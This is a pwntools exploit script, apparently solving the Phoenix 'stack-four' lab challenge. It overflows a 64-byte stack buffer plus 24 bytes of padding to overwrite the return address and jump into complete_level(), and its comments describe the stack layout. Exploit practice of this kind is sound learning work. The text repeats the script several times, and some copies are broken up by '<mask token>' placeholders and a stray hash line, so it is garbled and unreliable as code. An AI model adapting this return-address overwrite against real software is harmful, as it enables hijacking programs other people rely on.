# Standard buffer overflow into known function

# An extra tip in the challenge prelude that I didn't know - some architectures don't
# push their saved address into the stack (link register)

# The program this time doesn't have a struct holding our data together
# like an easy pie. This one declares char buffer[64] and void *ret to simulate
# the return address.

# The main() function calls 2 functions in a row, like a normal program would do.
# The point is to override the pushed address so we return into the complete_level()
# function. This is the one I'm most familiar with, and as basic as it gets.

import pwn
import binascii

filepath = '/opt/phoenix/amd64/stack-four'

open_file = pwn.ELF(filepath)

payload_return = open_file.sym['complete_level']
pwn.log.info('Opening ' + filepath + ' and got complete_level @ ' + str(payload_return))

# Turn int to hex without 0x, then turn into chars
payload = binascii.unhexlify(format(payload_return,'x'))
pwn.log.info('Payload prepared: ' + str(binascii.hexlify(payload)))

# Start process
proc = open_file.process()

# Receive banner
pwn.log.info(proc.recvline().decode('utf-8'))

# Popping the program into radare2, I saw that there's extra padding between the
# variables and the return address pushed at RBP. Starting at the end of char[64], there's
# 8 bytes of padding, 8 bytes for local var in printing the return address, then 8 more
# bytes of padding. In total, 24 bytes after filling 64 bytes of chars.
pwn.log.info('Sending max buffer + 24')
proc.send('A'*64)
proc.send('B'*24)

pwn.log.info('Sending return address')
proc.sendline(payload[::-1])

# Receive function banner
pwn.log.info(proc.recvline().decode('utf-8'))

# Receive complete level printf
pwn.log.info(proc.recvline().decode('utf-8'))

pwn.log.info('Done')
exit()


22c0816c21a2d7bb4bbbf35c4e2ea90b9d70c992
<mask token>

<mask token>
pwn.log.info('Opening ' + filepath + ' and got complete_level @ ' + str(
    payload_return))
<mask token>
pwn.log.info('Payload prepared: ' + str(binascii.hexlify(payload)))
<mask token>
pwn.log.info(proc.recvline().decode('utf-8'))
pwn.log.info('Sending max buffer + 24')
proc.send('A' * 64)
proc.send('B' * 24)
pwn.log.info('Sending return address')
proc.sendline(payload[::-1])
pwn.log.info(proc.recvline().decode('utf-8'))
pwn.log.info(proc.recvline().decode('utf-8'))
pwn.log.info('Done')
exit()

<mask token>
filepath = '/opt/phoenix/amd64/stack-four'
open_file = pwn.ELF(filepath)
payload_return = open_file.sym['complete_level']
pwn.log.info('Opening ' + filepath + ' and got complete_level @ ' + str(
    payload_return))
payload = binascii.unhexlify(format(payload_return, 'x'))
pwn.log.info('Payload prepared: ' + str(binascii.hexlify(payload)))
proc = open_file.process()
pwn.log.info(proc.recvline().decode('utf-8'))
pwn.log.info('Sending max buffer + 24')
proc.send('A' * 64)
proc.send('B' * 24)
pwn.log.info('Sending return address')
proc.sendline(payload[::-1])
pwn.log.info(proc.recvline().decode('utf-8'))
pwn.log.info(proc.recvline().decode('utf-8'))
pwn.log.info('Done')
exit()

import pwn
import binascii
filepath = '/opt/phoenix/amd64/stack-four'
open_file = pwn.ELF(filepath)
payload_return = open_file.sym['complete_level']
pwn.log.info('Opening ' + filepath + ' and got complete_level @ ' + str(
    payload_return))
payload = binascii.unhexlify(format(payload_return, 'x'))
pwn.log.info('Payload prepared: ' + str(binascii.hexlify(payload)))
proc = open_file.process()
pwn.log.info(proc.recvline().decode('utf-8'))
pwn.log.info('Sending max buffer + 24')
proc.send('A' * 64)
proc.send('B' * 24)
pwn.log.info('Sending return address')
proc.sendline(payload[::-1])
pwn.log.info(proc.recvline().decode('utf-8'))
pwn.log.info(proc.recvline().decode('utf-8'))
pwn.log.info('Done')
exit()

# Standard buffer overflow into known function

# An extra tip in the challenge prelude that I didn't know - some architectures don't
# push their saved address into the stack (link register)

# The program this time doesn't have a struct holding our data together
# like an easy pie. This one declares char buffer[64] and void *ret to simulate
# the return address.

# The main() function calls 2 functions in a row, like a normal program would do.
# The point is to override the pushed address so we return into the complete_level()
# function. This is the one I'm most familiar with, and as basic as it gets.

import pwn
import binascii

filepath = '/opt/phoenix/amd64/stack-four'

open_file = pwn.ELF(filepath)

payload_return = open_file.sym['complete_level']
pwn.log.info('Opening ' + filepath + ' and got complete_level @ ' + str(payload_return))

# Turn int to hex without 0x, then turn into chars
payload = binascii.unhexlify(format(payload_return,'x'))
pwn.log.info('Payload prepared: ' + str(binascii.hexlify(payload)))

# Start process
proc = open_file.process()

# Receive banner
pwn.log.info(proc.recvline().decode('utf-8'))

# Popping the program into radare2, I saw that there's extra padding between the
# variables and the return address pushed at RBP. Starting at the end of char[64], there's
# 8 bytes of padding, 8 bytes for local var in printing the return address, then 8 more
# bytes of padding. In total, 24 bytes after filling 64 bytes of chars.
pwn.log.info('Sending max buffer + 24')
proc.send('A'*64)
proc.send('B'*24)

pwn.log.info('Sending return address')
proc.sendline(payload[::-1])

# Receive function banner
pwn.log.info(proc.recvline().decode('utf-8'))

# Receive complete level printf
pwn.log.info(proc.recvline().decode('utf-8'))

pwn.log.info('Done')
exit()

